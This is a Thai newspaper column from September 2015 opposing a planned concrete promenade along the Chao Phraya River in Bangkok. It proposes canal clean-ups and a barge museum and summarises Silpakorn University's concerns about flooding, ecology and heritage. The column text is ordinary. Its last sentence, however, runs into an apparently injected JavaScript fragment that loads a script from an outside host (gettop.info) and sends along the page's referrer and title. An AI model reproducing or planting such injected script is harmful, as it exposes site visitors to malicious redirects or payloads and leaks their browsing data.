มติชนรายวัน ฉบับประจำวันศุกร์ที่ 11 กันยายน 2558

 

หยุดกรุงเทพฯ ตกสวรรค์

     ไม่รับไปเรียบร้อยแล้ว ร่างรัฐธรรมนูญ 2558 ทีนี้ขอให้ร่วมกันหยุดกรุงเทพฯ ตกสวรรค์ โดยไม่รับโครงการสร้างทางแท่งคอนกรีตเลียบสองฝั่งแม่น้ำเจ้าพระยา

     รัฐบาลควรเอางบประมาณที่ตั้งไว้ 14,600 ล้านบาท [รวมเงินทอน] พัฒนา “กรุงเทพฯ เมืองน้ำ” อย่างมีหัวนอนปลายตีน เริ่มด้วย 2 เรื่อง คือ

  1. แก้ไขคลองในกรุงเทพฯ ให้สะอาด ทยอยทำเริ่มจากสายสำคัญๆ
  2. สร้าง “มิวเซียมเรือ” ไว้ริมแม่น้ำเจ้าพระยา เก็บเรือพระราชพิธีและเรือแพนาวาทุกชนิดของอาเซียน ซึ่งมีไทยเป็นส่วนหนึ่งอยู่แล้ว

     อู่เรือพระราชพิธี ทุกวันนี้อยู่ปากคลองบางกอกน้อย (ฝั่งตรงข้ามโรงพยาบาลศิริราช) คับแคบแออัดยัดเยียด เสี่ยงอุบัติเหตุไฟไหม้ คนทั่วไปเข้าถึงลำบากมาก

     ทางรถ เข้าไม่ถึง เพราะไม่ติดถนน ต้องเดินเข้าซอยคดเคี้ยวคับแคบไปไกล และเสี่ยง จึงไม่มีใครอยากเข้าไปดูของดีมีอยู่ คนทั่วไปไม่รู้จัก

     ทางเรือ เข้าถึงลำบาก เพราะไม่มีเรือโดยเฉพาะ ส่วนมากเป็นเรือบริการนักท่องเที่ยวต่างชาติ ราคามาตรฐานดอลลาร์

     [เรือพระราชพิธี เป็นวัฒนธรรมอาเซียน มีรากเหง้าพัฒนาการไม่น้อยกว่า 2,500 ปีมาแล้ว พบหลักฐานจำนวนมากเป็นลายเส้นรูปเรือศักดิ์สิทธิ์บนกลองทองมโหระทึก]

 

ม.ศิลปากร กังวล

     มหาวิทยาลัยศิลปากร กังวลว่าโครงการนี้ของรัฐบาลดังกล่าวจะส่งผลกระทบทางลบอย่างร้ายแรงในหลายมิติ ทั้งต่อระบบนิเวศ สังคมชุมชน และภูมิทัศน์วัฒนธรรม

     อีกทั้งโครงการยังขาดขั้นตอนการมีส่วนร่วม และส่อแววไม่โปร่งใสในกระบวนการดำเนินงาน

     เมื่อประเมินผลกระทบจากโครงการฯ มหาวิทยาลัยศิลปากร สรุปไว้ในเอกสารที่ส่งมาให้อ่าน ดังนี้

  1. ทำลายภูมิทัศน์วัฒนธรรมอันเป็นมรดกของชาติ
  2. ตัดขาดความสัมพันธ์ระหว่างแม่น้ำกับคนและชุมชนริมน้ำ
  3. สร้างสิ่งแปลกปลอมในลำน้ำ ทำลายทัศนียภาพสองฝั่งของแม่น้ำเจ้าพระยาและบดบังสถาปัตยกรรมสำคัญ
  4. ลำน้ำแคบลงร้อยละ 15-20 ส่งผลให้ 1) กระแสน้ำไหลเร็วขึ้นเพิ่มความเสี่ยงในการกัดเซาะตลิ่ง 2) น้ำยกตัวสูงขึ้นในฤดูน้ำหลาก และ 3) ตอม่อโครงสร้างกีดขวางทางไหลของน้ำ อาจส่งผลต่อปัญหาการระบายน้ำ
  5. แนวพนังของโครงสร้างเป็นเขื่อนหรือกำแพงขวางกั้นการเคลื่อนไหวในระบบธรรมชาติ
  6. ตอม่อคอนกรีตขวางการไหลของน้ำ ทำให้เป็นแหล่งสะสมของเสีย ซึ่งส่งผลให้น้ำเสีย ฯลฯ

     นอกจากนั้นยังมีปัญหาอื่นๆ เช่น ไม่สอดคล้องกับโครงข่ายคมนาคมและการเชื่อมต่อในพื้นที่ทั้งในปัจจุบันและอนาคต

     แต่ที่สำคัญมากก็คือ ถูกปรับแปลงเป็นถนนเพื่อการสัญจรทางรถยนต์ได้ง่ายๆ (และดูเหมือนตั้งใจอย่างนั้น แต่กลบเกลื่อนไว้)

     ขอบคุณ ม.ศิลปากรที่เคลื่อนไหวเพื่อสังคม ถึงมาช้าก็ดีกว่าไม่มาs.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;